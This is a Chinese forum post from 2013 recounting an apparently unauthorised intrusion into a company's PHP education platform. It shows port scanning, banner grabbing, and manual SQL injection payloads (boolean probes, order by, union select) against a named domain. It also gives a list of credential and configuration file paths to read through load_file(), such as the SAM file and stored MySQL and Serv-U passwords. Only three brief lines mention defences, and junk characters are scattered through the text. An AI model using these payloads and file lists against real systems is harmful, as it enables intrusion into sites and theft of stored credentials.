找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2493|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:" X, f3 x/ t2 i
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……4 ^7 Q: i* S" M' e5 I
第一步:获取需要的信息) f0 k% o- m# y  {
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。% y; L& V# |, @+ Z
注:以下为保护特用XXX代替敏感信息# H" G; _+ _! }5 l
顺手先PING了一下他们的域名:
# q# v1 a- m' J; ^ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)" w# M" _5 `$ Q7 ^4 h7 F
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms& Z* n4 t$ r" I+ d3 E! F
顺便了解一下TTL,学好基础知识才能一路顺风:9 y' M6 a4 A; S! O8 u: L
TTL:(Time To Live ) 生存时间+ A, ^8 G. _, w. [" Q+ D5 \
指定数据包被路由器丢弃之前允许通过的网段数量。
/ ~/ g6 a8 x2 ]% r+ s# ~$ ~. O( }TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
; i' L! J, N6 W% O' a8 Y3 t2 m使用PING时涉及到的 ICMP 报文类型
0 u% y3 B3 l6 R( M3 \5 \% q一个为ICMP请求回显(ICMP Echo Request): r1 v0 v' q: T( W# y' W; ~
一个为ICMP回显应答(ICMP Echo Reply)/ z! ?) X1 i- e8 }/ d
TTL 字段值可以帮助我们识别操作系统类型。! z+ k' K% r7 N
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
% R" U" e( h" K3 O  zCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
: X3 L; K  U5 W9 Z* [  K) p& M& G微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1284 N; U1 b% K( b( D  L8 {7 s
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 327 [  l% L: D' R: D8 E
当然,返回的TTL值是相同的
! D2 _( j& w( t9 p( t5 }但有些情况下有所特殊
) I" j' x/ q/ D( y4 kLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
1 p, y# H; c' t0 k* {# GFreeBSD 4.1, 4.0, 3.4;  Q; ^8 f- A' ~. F
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
2 F- Q) p# u7 w% a3 }3 DOpenBSD 2.6, 2.7,
8 \% R( N/ G& M4 W3 \5 \NetBSD
9 n6 y0 y( t4 PHP UX 10.20
$ Z# t# L) G+ I$ a4 [6 b2 CICMP 回显应答的 TTL 字段值为 255/ N. A2 H* g3 R
Windows 95/98/98SE
- g, s7 L% u# V/ ]Windows ME
6 B* J3 L) \! y3 }7 u+ iICMP 回显应答的 TTL 字段值为 32& [/ Z  t4 a: O
Windows NT4 WRKS
1 z/ [! W3 t0 |, kWindows NT4 Server5 u1 C' v8 p3 k; ~0 V+ ~2 {
Windows 20006 ?% A3 k7 Q* W1 s  w) o
Windows XP
# U0 D0 L" {& Z7 @3 @3 u8 eICMP 回显应答的 TTL 字段值为 128! M! D' l, U* n/ W: J- E3 n8 G
这样,我们就可以通过这种方法来辨别操作系统$ _/ \0 a, j$ K, ^7 q7 {  q- n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255  W" l- W& W, z, K2 R, O
用NMAP扫描一下:3 r* M1 r( {' g6 i. |
nmap -sT -O XXX.XXX.XXX.XXX
6 o; N8 a7 `# W# \6 U  s- a, u; P如果没有装WinPcap则会弹出提示:" H- y8 ?7 W# @, l8 e' a! M3 ~
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
: F1 v' _  y! w4 x# v' Xade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
/ }# @) h5 A6 ~2 m& h) mode — Nmap may not function completely
, T7 ~0 [: w8 Y  C% ]0 M1 WTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher$ c0 a: _( @. d  S* C* w( t, A
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
6 [. ~- ^3 O0 Dpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an: C7 M8 _/ B* v" E+ V6 h
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
+ R0 r) Z4 V: Z+ Jersions, you may be able to take iphlpapi.dll from another system and place it i
7 g5 `7 g: j. u/ S' \" |+ H* H' nn your system32 dir (e.g. c:\windows\system32).& [8 K+ w. }- W% @" {1 R4 c/ B# N$ t
QUITTING!
8 `% K0 B0 U. \& r8 z3 K到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe. D9 n- b7 t0 w( j7 S1 T) ^+ \
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
1 {5 r. M; s+ B2 }2 R; \+ H6 s9 IInteresting ports on XXX.XXX.XXX.XXX:
; x4 C8 h! x0 y: r. r7 x" p! mNot shown: 986 closed ports& T' P* N# ^3 `( H/ l, ~
PORT     STATE    SERVICE' n' Y* s% H+ S
21/tcp   open     ftp; F- x  _. k& g% u
22/tcp   open     ssh
, G- q" z1 a! O6 B1 U9 ^23/tcp   open     telnet* a6 y$ J' `3 t  S
80/tcp   open     http
! X5 U8 f( M8 U7 L$ w111/tcp  open     rpcbind
$ X! b$ c1 N1 Q: @; i8 n+ l% M6 _9 h135/tcp  filtered msrpc: b% x4 N) Y( B, n
139/tcp  filtered netbios-ssn
8 G0 ?8 e8 ?3 i8 z; P  O2 M445/tcp  filtered microsoft-ds
$ ^7 _$ K& R& P4 v513/tcp  open     login
2 U, S& F3 b+ Y7 Q514/tcp  open     shell
6 x/ ^& [, q6 W4 _4 y; {/ Z593/tcp  filtered http-rpc-epmap
% N- N) G6 f! }- f6 l1720/tcp filtered H.323/Q.931) {; P) [: c7 J9 E/ ?' w9 f3 D
3306/tcp open     mysql
; J4 v. t4 G2 [1 k, Q( u+ [0 G4444/tcp filtered krb524
6 [' J  h3 k/ x4 |; g& TDevice type: WAP
/ ^  w/ [4 t: O) b, iRunning: Linux 2.4.X
/ X  G4 C( |% V0 X  hOS details: DD-WRT (Linux 2.4.35s)
0 c8 w  E; z4 T" g6 S* r2 QNetwork Distance: 13 hops7 K, f6 g) g' X* ^5 F
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
* t% H/ |6 ]) n" L: w6 [" m- Vlogin as:
. q0 ~6 ?% Q5 t/ P9 TTelnet23端口也是开着的,用telnet 命令链接一下:
" I4 A- C! V2 Jtelnet XXX.XXX.XXX.XXX! n8 w1 T3 j& T/ U
提示:
/ P8 }5 D) ^$ ^Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 Q. @% }% Q- n7 A) x% {# SKernel 2.6.18-92.el5PAE on an i686  O9 m: V0 S' i0 \4 F1 h6 v
login:
' @5 X5 z7 Y7 g- F1 {! A3 @获取HTTP头信息:' ?* W! g. P% T! o% Z9 ~4 N' R9 y
在本地执行如下PHP代码
, w( D- r9 Y: x) U* W. D0 x<?php- Y+ ^9 L. [( f' R* r1 w
$url = ‘XXX.XXX.XXX.XXX’;
2 R. n! Z( M1 Y  z1 Iprint_r(get_headers($url));8 B5 h- t; s! \3 X7 n
print_r(get_headers($url, 1));
5 [: D9 {) I' ??>
! ]4 N! s+ K% Y; K$ x将以上代码保存为PHP文件,执行:  D5 w+ r8 ?, w2 W/ g# W( z7 A) C9 q
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
9 n. U# Z. I; \% S: ^现在可以得出结论:
( V3 _" x, s) A3 w系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)- s0 x7 G2 a1 h8 c
内核版本:Kernel 2.6.18-92.el5PAE on an i686. H% R) y2 t1 G5 Z% Z
WEB服务器版本:nginx/0.7.61
* ^5 E1 ?+ W& Y( j/ J; Z: Y第二步,开始测试寻找漏洞
9 Q; E4 N2 ~$ |- ~; p. S分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
7 @& }6 j1 @( a! e) j3 a  p1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
4 s, o0 J' d/ L  k! e2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
' a( ~  N  O" _9 I& y/ Qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常/ }' U8 V7 V) ~& F" C* C
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
2 D! H7 P& `1 D7 t恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
$ g3 g% s$ n5 y# j! ~; O3、手工注入:1 V4 \& i- b7 b
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。& T) g: C4 t: I, @$ v" M1 P
3.1 猜测当前表字段数
# d9 W/ W# t+ W; j  Qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
2 F9 a2 M0 y' _" ], X) d此处猜测有个简单的算法,都是有技巧的吗,呵呵/ t- K3 G4 W$ q, n$ V
算法简单如下:% K/ u  y$ ^5 _  k& R
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;2 \) G  Q% C' N, s5 I; U; L8 h
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;3 m; ?3 |" ~. `( t- |% P
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。. q: ~+ k8 i% Q
以此来判断,是否过界,配合取中算法猜出字段数。
% r, I# `5 b1 w, _+ }' h举例:
: C6 L( C( J. h/ R' d' O' Uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常+ k! @3 S- ~' S! G. O( U" c2 _
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
# _7 w. |% N2 u此时3则为我们要找的字段数。
( p# K: l+ E1 M2 Y7 H  @$ h0 `+ Q3.2 配合union联合查询字段在页面所位置
9 X3 |2 A- V9 z: e7 i, k1 P我们已经知道了字段数为3,此时则可以做如下操作:
, E1 V& m, B* q1 b3 a" jhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3) R3 p( J& H% ~

: O5 l8 K6 T3 e' j+ R& b这样就可以测试到哪些字段在页面上有所显示了,如图:
( u+ U9 h5 U: f( S* W3 R+ j5 P( u/ ^) ?4 R
3.3 查敏感信息* D1 v0 v! R4 H$ T5 f" x; ]
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。% M& _& R# J5 S0 k2 K! f; n" @
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()8 `6 }/ F4 m2 R0 k9 T4 j
3.3.1 先查数据库用户、数据库名,以备后用,如图:/ Z1 p0 y( V( g4 ?6 ?4 S5 o
- N' W* d8 z1 i; ]6 _+ |
得到数据库用户为root、数据库名为DBxx;1 L( F. G; @; a6 B: j, B) e
3.3.2 查配置文件
2 G% s) a- O+ ~$ g查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。3 v  N4 O; {0 D4 ~
查看文件有一定的条件限制:+ v# }) N6 k  v$ r' f5 Y
欲读取文件必须在服务器上1 d/ t0 P* u- [- t0 |) q8 M
必须指定文件完整的路径% [( a" w# r1 P3 u! Y) f
必须有权限读取并且文件必须完全可读" P0 h! U, d: B( G- ~4 r# |6 y" q
欲读取文件必须小于 max_allowed_packet
  I; ?+ J5 B) e9 b+ n1 J; T- ]MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
2 ]6 G2 y  I1 ^7 x* U% D常用的一些:
# T" \! N0 v% a9 E/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
$ Y/ G- n, A" Y* c! a/usr/local/apache2/conf/httpd.conf: u5 {! C9 B/ a/ d* J
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
( U+ g6 G3 c" ?, \; f/usr/local/app/php5/lib/php.ini //PHP相关设置
7 S. w, E/ ^3 T# `# ?+ A8 O( t% M/etc/sysconfig/iptables //从中得到防火墙规则策略6 S  a+ b' I% F$ F7 ~
/etc/httpd/conf/httpd.conf // apache配置文件- D, `2 b3 I, ~) t
/etc/rsyncd.conf //同步程序配置文件4 b0 t0 g0 B( |8 F( O% t- g
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.4 X/ R  l0 H% T' j) ?$ N
/etc/my.cnf //mysql的配置文件3 U) D! k0 Y  @& i! t
/etc/redhat-release //系统版本4 v  o$ ?2 J) h! j( E! W- g
/etc/issue9 T9 Y! I" E/ Z2 M6 t; m, B
/etc/issue.net3 o# H$ S  r% v& M- @( C
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码/ E( W  _) n. ^5 }, n3 w, j& A
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
6 ^/ e8 ^- A# g0 V0 f. z, mc:\Program Files\Serv-U\ServUDaemon.ini3 R! e9 q+ ~! T7 _5 `
c:\windows\my.ini //MYSQL配置文件8 F" j* R1 S6 p8 H' @( o. M
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
4 b( [+ S9 w2 R& h等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,( s% V$ O0 e/ B2 a
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
, X7 z( x1 E. fc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
: p) d6 }: g* C) u) f$ Oc:\Program Files\RhinoSoft.com\ServUDaemon.exe5 K% I/ L0 f! F; W  ^9 p% d
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
( n# I6 O* z- p( }//存储了pcAnywhere的登陆密码2 P9 R: W( W1 Y8 u. X  V
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
# E8 q" H! E/ `/ _0 j7 }7 C: X# C, ^' b" T这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。6 t( q8 t( d- B. o7 ]
最后:防范措施
! L- ^/ v, G7 v  Y1、修复PHP注入漏洞;7 O" h2 v! c, ~) |1 p
2、Mysql使用普通权限的用户;2 C: o8 H/ L" g' x
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表